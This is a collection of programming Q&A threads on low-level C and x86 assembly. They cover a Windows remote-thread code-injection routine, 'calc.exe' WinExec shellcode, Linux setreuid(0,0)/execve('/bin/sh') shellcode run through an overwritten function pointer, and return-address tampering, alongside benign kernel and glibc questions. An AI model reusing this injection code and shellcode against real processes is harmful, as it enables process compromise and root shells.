Injected remote thread crashes when using a large local array? - c

This Windows example creates a remote thread in another process
#include <Windows.h>
#include <Winternl.h>
#define RET_INSTRUCTION 0xC3
DWORD WINAPI shellcode_start(LPVOID lpParameter)
{
DWORD myStackArray[1000];
return 0;
}
void InjectShellcode(unsigned char* shellcode, int length, DWORD dwPID)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, shellcode, length, NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddr, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, shellcodeAddr, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
int main(int argc, char* argv[])
{
unsigned char* shellcode_end = (unsigned char*)shellcode_start;
while (*shellcode_end++ != RET_INSTRUCTION) {};
unsigned int sizeofshellcode = shellcode_end - (unsigned char*)shellcode_start;
InjectShellcode((unsigned char*)shellcode_start, sizeofshellcode, 12924);
return 0;
}
The target process crashes when a large array is defined
DWORD myStackArray[1000];
The shellcode function starts with this prologue
DWORD WINAPI shellcode_start(LPVOID lpParameter)
{
00000001400010F0 mov qword ptr [rsp+8],rcx
00000001400010F5 push rbp
00000001400010F6 mov eax,11A0h
00000001400010FB call __chkstk (0140001210h)
0000000140001100 sub rsp,rax
0000000140001103 mov rbp,rsp
...
But, if a small array is defined
DWORD myStackArray[500];
the process remains alive with this prologue
DWORD WINAPI shellcode_start(LPVOID lpParameter)
{
00000001400010F0 mov qword ptr [rsp+8],rcx
00000001400010F5 push rbp
00000001400010F6 sub rsp,8D0h
00000001400010FD mov rbp,rsp
...
Update
Adding this linker option /Gs8192 prevents the crash and generates this prologue
The number of bytes that local variables can occupy before a stack
probe is initiated.
0000000000400000 48 89 4C 24 08 mov qword ptr [rsp+8],rcx
0000000000400005 55 push rbp
0000000000400006 48 81 EC C0 14 00 00 sub rsp,14C0h
000000000040000D 48 8D 6C 24 20 lea rbp,[rsp+20h]
0000000000400012 48 C7 45 00 00 00 00 00 mov qword ptr [rbp],0
Question
When a remote thread is created, why does the injected process crash for a large array?

Related

Why does my kernel crash when I add more arguments to a function?

I am trying to build a custom kernel in C and I want to put a colored pixel on the screen.
I already switched into protected mode and set the VGA mode to 0x13, so I wrote a function in C to put a pink pixel on the right upper corner of the screen:
#include <stdint.h>
#define VGA_MODE 0x13
#define VRAM 0xA0000
#define MAX_HEIGHT 200
#define MAX_LENGTH 320
void PutPixel(uint8_t color, uint16_t x)
{
// Return if x greater than 320
if(x > MAX_LENGTH) return;
unsigned char* ptr = (unsigned char*) VRAM;
ptr += x;
*ptr = color;
return;
}
void KERNEL_MAIN()
{
PutPixel(5, 320);
return;
}
This code runs perfectly fine, until I want to add a y-offset as parameter to my PutPixel function in order to draw a pixel on another row:
#include <stdint.h>
#define VGA_MODE 0x13
#define VRAM 0xA0000
#define MAX_HEIGHT 200
#define MAX_LENGTH 320
void PutPixel(uint8_t color, uint16_t x, uint16_t y)
{
// Return if x greater than 320
if(x > MAX_LENGTH) return;
unsigned char* ptr = (unsigned char*) VRAM;
ptr += x;
*ptr = color;
return;
}
void KERNEL_MAIN()
{
PutPixel(5, 320, 1);
return;
}
Even when I don't actually use the parameter, when I run the code in VirtualBox, it crashes immediately and I get following error in the VirtualBox debugger:
dbgf event: DBGFSTOP (hyper)
File: VINF_EM_TRIPLE_FAULT
Line: 0
Function: <NULL>
eax=000a013e ebx=00007eae ecx=00000005 edx=00000005 esi=00000000 edi=0000fff0
eip=00000083 esp=0002ffac ebp=490002ff iopl=0 nv up di pl nz na pe nc
cs=0008 ds=0010 es=0010 fs=0010 gs=0010 ss=0010 eflags=00200002
0008:00000083 f0 53 Illegal opcode
VBoxDbg>
Can I get some help please?
EDIT: I found that the stack got messed up by one byte, so I
disassembled the function call and it looks like this:
%0000000000007ee7 55 push ebp
%0000000000007ee8 48 dec eax
%0000000000007ee9 89 e5 mov ebp, esp
%0000000000007eeb 48 dec eax
%0000000000007eec 83 ec 10 sub esp, byte 000000010h
%0000000000007eef 89 d0 mov eax, edx
%0000000000007ef1 44 inc esp ;???
%0000000000007ef2 89 c2 mov edx, eax
%0000000000007ef4 88 4d 10 mov byte [ebp+010h], cl
%0000000000007ef7 66 89 45 18 mov word [ebp+018h], ax
%0000000000007efb 89 d0 mov eax, edx
%0000000000007efd 66 89 45 20 mov word [ebp+020h], ax
%0000000000007f01 66 81 7d 18 40 01 cmp word [ebp+018h], word 00140h
%0000000000007f07 77 1c jnbe +01ch (000007f25h)
%0000000000007f09 48 dec eax
%0000000000007f0a c7 45 f8 00 00 0a 00 mov dword [ebp-008h], 0000a0000h
%0000000000007f11 0f b7 45 18 movzx eax, [ebp+018h]
%0000000000007f15 48 dec eax
%0000000000007f16 01 45 f8 add dword [ebp-008h], eax
%0000000000007f19 48 dec eax
%0000000000007f1a 8b 45 f8 mov eax, dword [ebp-008h]
%0000000000007f1d 0f b6 55 10 movzx edx, byte [ebp+010h]
%0000000000007f21 88 10 mov byte [eax], dl
%0000000000007f23 eb 01 jmp +001h (000007f26h)
%0000000000007f25 90 nop
%0000000000007f26 48 dec eax
%0000000000007f27 83 c4 10 add esp, byte 000000010h
%0000000000007f2a 5d pop ebp
%0000000000007f2b c3 retn
When I discard the inc esp instruction at 0x7ef1,retn pops the return address correctly, but why is this instruction even there in the first place?
I found the solution when adding the compiler option:
gcc -mno-red-zone
It now works flawless, thanks!

Calculate code size (number of opcode bytes) between two labels in C

Based upon this MSVC Windows disassembly, is there a method to determine the number of bytes between the labels
jmp_code_start and jmp_code_finish? Manually counting the opcode bytes B8 D0 10 36 00 2D C3 00 00 00 89 45 FC FF 55 FC shows there are 16 bytes but that's tedious. Perhaps there's a better technique?
int main(int argc, char* argv[])
{
003610D0 66 90 xchg ax,ax
003610D2 55 push ebp
003610D3 8B EC mov ebp,esp
003610D5 51 push ecx
jmp_code_start:;
char (*jmp)() = (char*)&main - sizeof(shellcode);
003610D6 B8 D0 10 36 00 mov eax,offset main (03610D0h)
003610DB 2D C3 00 00 00 sub eax,0C3h
003610E0 89 45 FC mov dword ptr [jmp],eax
jmp();
003610E3 FF 55 FC call dword ptr [jmp]
jmp_code_finish:;
return 0;
003610E6 33 C0 xor eax,eax
}
I tried this code but it gave errors:
int jmp_size = jmp_code_finish - jmp_code_start;
printf("jmp_size %d", jmp_size);
The original source code is
#include <windows.h>
#include <stdio.h>
// 195 bytes small Windows/x86 null-free WinExec Calc.exe shellcode.
char shellcode[195] =
"\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
"\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
"\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
"\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
"\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
"\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
"\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
"\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
"\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
"\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
"\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
"\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
"\x52\xff\xd0";
int main(int argc, char* argv[])
{
jmp_code_start:;
char (*jmp)() = (char*)&main - sizeof(shellcode);
jmp();
jmp_code_finish:;
return 0;
}
Based upon the supplied answer, this code below now works!
#include <windows.h>
#include <stdio.h>
// 195 bytes small Windows/x86 null-free WinExec Calc.exe shellcode.
char shellcode[195] =
"\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
"\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
"\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
"\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
"\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
"\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
"\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
"\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
"\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
"\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
"\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
"\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
"\x52\xff\xd0";
void shellcode_func(void);
void dummy_function(void);
int main(int argc, char* argv[])
{
size_t jmp_size = (size_t)dummy_function - (size_t)shellcode_func;
return 0;
}
__declspec(naked) void shellcode_func(void) {
char (*jmp)();
jmp = (char*)&main - sizeof(shellcode);
jmp();
}
void dummy_function(void) {}
WARNING
After determining the code size is 16 bytes, using that exact code elsewhere can differ in size i.e., 17 bytes. The compiler chooses which registers to use and directly affects the number of opcode bytes generated.
char (*jmp)();
jmp = (char*)&main - sizeof(shellcode);
005E10D5 B9 C0 10 5E 00 mov ecx,offset main (05E10C0h)
005E10DA 81 E9 C0 00 00 00 sub ecx,0C0h
005E10E0 89 4D FC mov dword ptr [jmp],ecx
jmp();
005E10E3 FF 55 FC call dword ptr [jmp]
char (*jmp)();
jmp = (char*)&main - sizeof(shellcode);
005E11B0 B8 C0 10 5E 00 mov eax,offset main (05E10C0h)
005E11B5 2D C0 00 00 00 sub eax,0C0h
005E11BA 89 45 FC mov dword ptr [jmp],eax
jmp();
005E11BD FF 55 FC call dword ptr [jmp]
There is no way to do this in standard C.
But in practice - you can usually accomplish this with code like:
__declspec(naked) void shellcode_func(void) {
char (*jmp)();
jmp = (char*)&main - sizeof(shellcode);
jmp();
}
void dummy_function(void) {}
int main() {
size_t jmp_size = (size_t)dummy_function - (size_t)shellcode_func;
}
the __declspec(naked) attribute (available as __attribute__((naked)) in GCC) is necessary for ensuring that the shellcode function is defined without a function prologue or epilogue - thus maintaining its original size in bytes.
GCC and Clang have an extension to take label addresses:
(char *)&&jmp_code_finish - (char *)&&jmp_code_start

How is main() called? Call to main() inside __libc_start_main()

I am trying to understand the call to main() inside __libc_start_main(). I know one of the parameters of __libc_start_main() is the address of main(). But, I am not able to figure out how is main() being called inside __libc_start_main() as there is no Opcode CALL or JMP. I see the following disassembly right before execution jumps to main().
0x7ffff7ded08b <__libc_start_main+203>: lea rax,[rsp+0x20]
0x7ffff7ded090 <__libc_start_main+208>: mov QWORD PTR fs:0x300,rax
=> 0x7ffff7ded099 <__libc_start_main+217>: mov rax,QWORD PTR [rip+0x1c3e10] # 0x7ffff7fb0eb0
I wrote a simple "Hello, World!!" in C. In the assembly above:
The execution jumps to main() right after instruction at address 0x7ffff7ded099.
Why is the MOV (to RAX) instruction causing a jump to main()?
Well, of course those instructions are not the ones that cause the call to main. I am not sure how you are stepping through those instructions, but if you are using GDB, you should use stepi instead of nexti.
I don't know why this happens precisely (some strange GDB or x86 quirk?) so I only speak from personal experience, but when reverse-engineering ELF binaries, I occasionally find that the nexti command executes several instructions before breaking. In your case, it misses a few movs before the actual call rax to call main().
What you can do to remediate this is to either use stepi, or to dump more code and then explicitly tell GDB to set breakpoints:
(gdb) x/20i
0x7ffff7ded08b <__libc_start_main+203>: lea rax,[rsp+0x20]
0x7ffff7ded090 <__libc_start_main+208>: mov QWORD PTR fs:0x300,rax
=> 0x7ffff7ded099 <__libc_start_main+217>: mov rax,QWORD PTR [rip+0x1c3e10] # 0x7ffff7fb0eb0
... more lines ...
... find call rax ...
(gdb) b *0x7ffff7dedXXX <= replace this
(gdb) continue
Here's what __libc_start_main() on my system does to call main():
21b6f: 48 8d 44 24 20 lea rax,[rsp+0x20] ; start preparing args
21b74: 64 48 89 04 25 00 03 mov QWORD PTR fs:0x300,rax
21b7b: 00 00
21b7d: 48 8b 05 24 93 3c 00 mov rax,QWORD PTR [rip+0x3c9324]
21b84: 48 8b 74 24 08 mov rsi,QWORD PTR [rsp+0x8]
21b89: 8b 7c 24 14 mov edi,DWORD PTR [rsp+0x14]
21b8d: 48 8b 10 mov rdx,QWORD PTR [rax]
21b90: 48 8b 44 24 18 mov rax,QWORD PTR [rsp+0x18] ; get address of main
21b95: ff d0 call rax ; actual call to main()
21b97: 89 c7 mov edi,eax
21b99: e8 32 16 02 00 call 431d0 <exit##GLIBC_2.2.5> ; exit(result of main)
The first three instructions are the same that you show. At the moment of call rax, rax will contain the address of main. After calling main, the result is moved into edi (first argument) and exit(result) is called.
Looking at glibc's source code for __libc_start_main(), we can see that this is exactly what happens:
/* ... */
#ifdef HAVE_CLEANUP_JMP_BUF
int not_first_call;
not_first_call = setjmp ((struct __jmp_buf_tag *) unwind_buf.cancel_jmp_buf);
if (__glibc_likely (! not_first_call))
{
/* ... a bunch of stuff ... */
/* Run the program. */
result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);
}
else
{
/* ... a bunch of stuff ... */
}
#else
/* Nothing fancy, just call the function. */
result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);
#endif
exit (result);
}
In my case I can see from the disassembly that HAVE_CLEANUP_JMP_BUF was defined when my glibc was compiled, so the actual call to main() is the one inside the if. I also suspect this is the case for your glibc.

Executing shell code using a function pointer present in Union

I am trying to inject shell code into the char buffer and execute it using the function pointer. both string and function pointer are in the union. Below is the shell code I am using trying to execute
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
0: 31 c0 xor eax, eax
2: b0 46 mov al, 0x46 ; setreuid (70)
4: 31 db xor ebx, ebx ; real uid
6: 31 c9 xor ecx, ecx ; effective uid
8: cd 80 int 0x80 ; setreuid(0, 0)
a: eb 16 jmp 0x22 ; jump to call at end
c: 5b pop ebx ; get address of "/bin/sh"
d: 31 c0 xor eax, eax
f: 88 43 07 mov BYTE PTR[ebx + 0x7], al ; zero terminate "/bin/sh"
12: 89 5b 08 mov DWORD PTR[ebx + 0x8], ebx ; + address of "/bin/sh"
15: 89 43 0c mov DWORD PTR[ebx + 0xc], eax ; + NULL pointer
18: b0 0b mov al, 0x0b ; execve (11)
1a: 8d 4b 08 lea ecx, [ebx + 0x8] ; load argv (ptr to "/bin/sh")
1d: 8d 53 0c lea edx, [ebx + 0xc] ; load envp (NULL)
20: cd 80 int 0x80 ; execve("/bin/sh", "/bin/sh", NULL)
22: e8 e5 ff ff ff call 0x0c ; push address on the stack
27: "/bin/sh" ; and jump back
union array_or_function_pointer
{
char string[128];
void (*callback)(void);
};
void trialversion()
{
printf("This is a trial version. Please purchase the full version to enable all features!\n");
}
int main(int argc, char *argv[])
{
FILE *fp;
union array_or_function_pointer obj;
fp = fopen(argv[1], "r");
obj.callback = trialversion;
obj.callback();
fread(obj.string, 128, 1, fp);
obj.callback();
fclose(fp);
return 0;
}
The shell code is not being executed and I am getting segemntation fault as shown below. I have used -z execstack.
gcc -g -fno-stack-protector -z execstack sample.c -o sample
harsha#hv-XPS:~/ass6$ ./sample pass_junk.txt
This is a trial version. Please purchase the full version to enable all features!
Segmentation fault (core dumped)
The problem seems to be that program is checking the address present in the shell code
Usually a pointer to function variable is implemented as memory containing the address of the first instruction of the function to be called. You're putting instructions directly in obj, not an address.
To get this sort of test exploit to work, you would need to both get the injected instructions somewhere into memory, and also put the address of the memory containing those instructions into obj.callback. But this will be tricky because most operating systems use Address Space Layout Randomization to make it difficult to predict exactly where objects in the stack will be.
Add sizeof(void(*)()) dummy bytes (eg. \x90\x90\x90\x90) at the beginning of your shellcode.
Then:
#include <stdio.h>
union array_or_function_pointer
{
char code[/* size */];
void(*callback)(void);
};
void foo(void) { puts("foo()"); }
int main(int argc, char **argv)
{
union array_or_function_pointer obj;
obj.callback = foo;
obj.callback();
FILE *fp = fopen(argv[1], "rb");
fread(obj.code, 1, /* size */, fp);
fclose(fp);
obj.callback = &obj.callback + 1; // the code is located *behind*
obj.callback(); // the pointer value.
}

(reversing)return to specified location in c , assembly

I want to modify below c code and assembly code to pop up only one message box.
The 'failed' message box pops up and then the 'success' message box pops up next now but I want to know the way of only the 'success' message box pops up after "Func" function is called.
I got a hint that the answer is related to "RET(assembly)" and I don't know how to modify not only the assembly code but also the c code.
RET is the return address of previous function isn't it? Then how can I change this value in either side of code?
I know the RET is saved right before Func function is called so how can i do it??? pls someone help me with it!
#include <windows.h>
#include <stdio.h>
void Func(int n1, char ch) {
int sum;
sum = n1 + ch;
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
Func(10, 'A');
MessageBox(0, "Failed", "", 0);
MessageBox(0, "Success", "", 0);
return 0;
}
compiled the c code and it looks like this in ollydbg.
// Func
00401000 /$ 55 PUSH EBP
00401001 |. 8BEC MOV EBP,ESP
00401003 |. 51 PUSH ECX
00401004 |. 0FBE45 0C MOVSX EAX,BYTE PTR SS:[EBP+C]
00401008 |. 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8]
0040100B |. 03C8 ADD ECX,EAX
0040100D |. 894D FC MOV DWORD PTR SS:[EBP-4],ECX
00401010 |. 8BE5 MOV ESP,EBP
00401012 |. 5D POP EBP
00401013 \. C3 RETN
// WinMain
00401014 /$ 55 PUSH EBP
00401015 |. 8BEC MOV EBP,ESP
00401017 |. 6A 41 PUSH 41 ; /Arg2 = 00000041
00401019 |. 6A 0A PUSH 0A ; |Arg1 = 0000000A
0040101B |. E8 E0FFFFFF CALL test.00401000 ; \test.00401000
00401020 |. 83C4 08 ADD ESP,8
00401023 |. 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401025 |. 68 A0544000 PUSH test.004054A0 ; |Title = ""
0040102A |. 68 30504000 PUSH test.00405030 ; |Text = "Failed"
0040102F |. 6A 00 PUSH 0 ; |hOwner = NULL
00401031 |. FF15 94404000 CALL DWORD PTR DS:[<&USER32.MessageBoxA>>; \MessageBoxA
00401037 |. 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401039 |. 68 A4544000 PUSH test.004054A4 ; |Title = ""
0040103E |. 68 38504000 PUSH test.00405038 ; |Text = "Success"
00401043 |. 6A 00 PUSH 0 ; |hOwner = NULL
00401045 |. FF15 94404000 CALL DWORD PTR DS:[<&USER32.MessageBoxA>>; \MessageBoxA
0040104B |. 33C0 XOR EAX,EAX
0040104D |. 5D POP EBP
0040104E \. C2 1000 RETN 10
Are these __stdcall, __cdecl, __fastcall functions related with this question?
or maybe the RETN argument?
If I understand your question correctly - you need to modify your C code to make one MessageBox call disappear, without removing a call from the source code. Most easiest way will be modifying a function return address to jump directly to the second MessageBox. Lets illustrate this approach with the simple example.
#include <stdio.h>
void test(){}
int main(void)
{
test();
printf("%s\n", "test1");
printf("%s\n", "test2");
return(0);
}
Disassembly (relevant) of the main function:
Return address from the test function will be 011B17F3. If we want to skip first printf call, we want it to be 011B1805 instead. So it has to be increased by 0x12.
To do that, we have to retrieve saved return address from the stack, increase it, and then write it back.
void test()
{
__asm
{
mov eax, [ebp+4]
add eax, 0x12
mov [ebp+4], eax
}
}

Resources